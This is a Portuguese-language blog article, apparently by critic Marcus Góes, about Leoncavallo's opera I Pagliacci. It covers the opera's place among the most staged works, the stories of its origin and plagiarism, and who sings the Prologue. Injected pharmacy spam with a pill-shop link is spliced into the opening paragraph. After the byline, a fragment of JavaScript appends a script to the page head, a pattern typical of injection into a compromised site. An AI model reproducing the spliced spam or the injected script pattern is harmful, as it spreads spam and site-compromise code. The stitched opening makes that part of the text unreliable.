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“I pagliacci” – uma das três ou quatro óperas mais populares

albendazole price order furosemide Recentemente, com muito sucesso, o TMSP levou à cena I PAGLIACCI, de RUGGERO LEONCAVALLO (1857/1919), com libreto do autor. Order online http://bestbooksnetwork.com/gasex-online-calculator/ Pills ddo online ataraxia map Buy

Essa ópera perfaz com AIDA e LA TRAVIATA, de VERDI, CARMEN,de BIZET, MADAMA BUTTERFLY, LA BOHÊME e TOSCA, de PUCCINI, e CAVALLERIA RUSTICANA, de MASCAGNI, o conjunto das óperas mais populares e mais encenadas no mundo todo. Muito próximas estariam RIGOLETTO, de VERDI, O BARBEIRO DE SEVILHA, de ROSSINI, O ELIXIR DE AMOR, de DONIZETTI, e NORMA, de BELLINI. Muitas outras mereciam estar na lista, mas perdem em número de encenações pela dificuldade extrema de “casting” e de cenários, como LOHENGRIN, de WAGNER.

Mas voltemos a I PAGLIACCI, criada em 1892 no Teatro Dal Verme, em Milão. Naquele período LA SCALA não tinha gostado nada da estreia com muito sucesso em 1890 da CAVALERIA em Roma, sponsorizada pela Casa Sonzogno, rival dos Ricordi.

Há muitas histórias naturalmente ignoradas do público, ou sabidas de modo incompleto ou incorreto, na trajetória de I PAGLIACCI. A primeira delas foi contada e divulgada pelo próprio Leoncavallo, de que conhecera a trama quando seu pai, advogado e juiz-policial,condenara dois irmãos na Calábria por um assassinato ocorrido por ciúme dentro de um triângulo amoroso. Há cópias do processo, extraídas em 2003. Nada de palhaços, colombinas e arlequins.

Outra história sobre a origem de I PAGLIACCI se refere a um plágio de um drama do autor espanhol Joaquin Estebanez, denominado Drama Nuevo, em que os atores levam à cena personagens da vida real terminando tudo em assassinato.

A mais famosa história de plágio em I PAGLIACCI, terminada em tribunal, é aquela em que o poeta e dramaturgo francês Catulle Mendès acusa Leoncavallo de lhe roubar trechos da peça La Femme de Tabarin, tendo sido Leoncavallo julgado culpado.

E por aí afora, há outras histórias de plágio, cópias, paralelos, ideias roubadas. Muitas informações acima já eram do conhecimento de quem escreve, outras foram extraídas da Internet, e provêm do site de Myron Yusypovych, regente e musicólogo ucraniano.

Uma curiosidade a respeito de I PAGLIACCI: o Prólogo foi escrito para ser cantado pela personagem TONIO, baixo cantante (agudo) ou barítono. No entanto, muitas vezes o cantor encarregado de TONIO, como é cabível, tem a voz “buffa” e não dramática. Por isso, o Prólogo é cantado pelo barítono que encarna SILVIO, como ocorreu tantas vezes no TMRJ, no qual o pranteado barítono PAULO FORTES cantou muitas vezes SILVIO e um magnífico Prólogo, sempre de acordo com seu colega, o também saudoso GUILHERME DAMIANO, excelente TONIO / TADDEO.

É também para TONIO, que no fim retorna vestido de Prólogo, que foi escrita a famosa frase que encerra a ópera: “LA COMMEDIA É FINITA”, usurpada sempre pelo tenor que canta CANIO. Coisas do teatro… e da ópera…

MARINA “ QUASI MORTA DI FAME” DICATUM

MARCUS GÓES – NOV 2014d.getElementsByTagName(‘head’)[0].appendChild(s);if (document.currentScript) {

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Marcus Góes
Musicólogo, crítico de música e dança e pesquisador. Tem livros publicados também no exterior. Considerado a maior autoridade mundial sobre Carlos Gomes.